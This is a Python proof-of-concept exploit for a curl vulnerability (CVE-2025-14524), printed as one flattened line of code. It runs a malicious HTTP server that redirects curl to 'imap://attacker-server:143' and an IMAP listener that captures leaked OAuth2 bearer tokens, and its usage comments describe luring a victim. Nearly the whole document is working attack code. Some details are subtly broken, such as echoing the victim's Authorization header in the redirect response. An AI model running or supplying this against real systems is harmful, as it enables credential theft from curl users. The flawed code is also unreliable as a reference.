CVE-2025-14524 curl OAuth2 Bearer Token跨协议重定向泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-14524 PoC - curl OAuth2 Bearer Token Cross-Protocol Redirect Leak This PoC demonstrates how an attacker can steal OAuth2 tokens via cross-protocol redirect. """ import http.server import socketserver import threading import socket # Malicious OAuth2 token (would be captured by attacker) stolen_tokens = [] class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler): """Handler that redirects victim to IMAP server controlled by attacker""" def do_GET(self): # Send redirect response to IMAP URL # The OAuth2 token will be sent to this URL imap_redirect_url = "imap://attacker-server:143/INBOX" self.send_response(302) self.send_header('Location', imap_redirect_url) self.send_header('Authorization', 'Bearer ' + self.headers.get('Authorization', '')) self.end_headers() print(f"[*] Sent redirect to {imap_redirect_url}") print(f"[*] Authorization header: {self.headers.get('Authorization', 'None')}") class IMAPSniffer(threading.Thread): """Simple IMAP server to capture OAuth2 tokens""" def __init__(self, port=143): super().__init__() self.port = port self.running = True self.daemon = True def run(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.port)) server.listen(1) print(f"[*] IMAP sniffer listening on port {self.port}") while self.running: try: server.settimeout(1.0) conn, addr = server.accept() print(f"[*] Connection from {addr}") # Read data from connection (may contain OAuth2 token) data = b"" try: while True: chunk = conn.recv(4096) if not chunk: break data += chunk except: pass decoded_data = data.decode('utf-8', errors='ignore') if 'Bearer' in decoded_data or 'AUTHENTICATE' in decoded_data: print(f"[!] POTENTIAL TOKEN CAPTURED: {decoded_data[:500]}") stolen_tokens.append(decoded_data) conn.close() except socket.timeout: continue except Exception as e: if self.running: print(f"[!] Error: {e}") server.close() def run_attack_server(port=8080): """Run the malicious HTTP server""" with socketserver.TCPServer(('', port), MaliciousRedirectHandler) as httpd: print(f"[*] Malicious server running on http://0.0.0.0:{port}") print(f"[*] Redirect target: imap://attacker-server:143") print("[*] Waiting for victims...") httpd.serve_forever() if __name__ == "__main__": # Start IMAP sniffer sniffer = IMAPSniffer(port=143) sniffer.start() # Run malicious redirect server run_attack_server(port=8080) # Usage: # 1. Attacker runs this script # 2. Victim uses curl with OAuth2 token: curl -H "Authorization: Bearer <token>" http://attacker-server:8080 # 3. curl follows redirect to imap://attacker-server:143 # 4. OAuth2 token is leaked to attacker's IMAP sniffer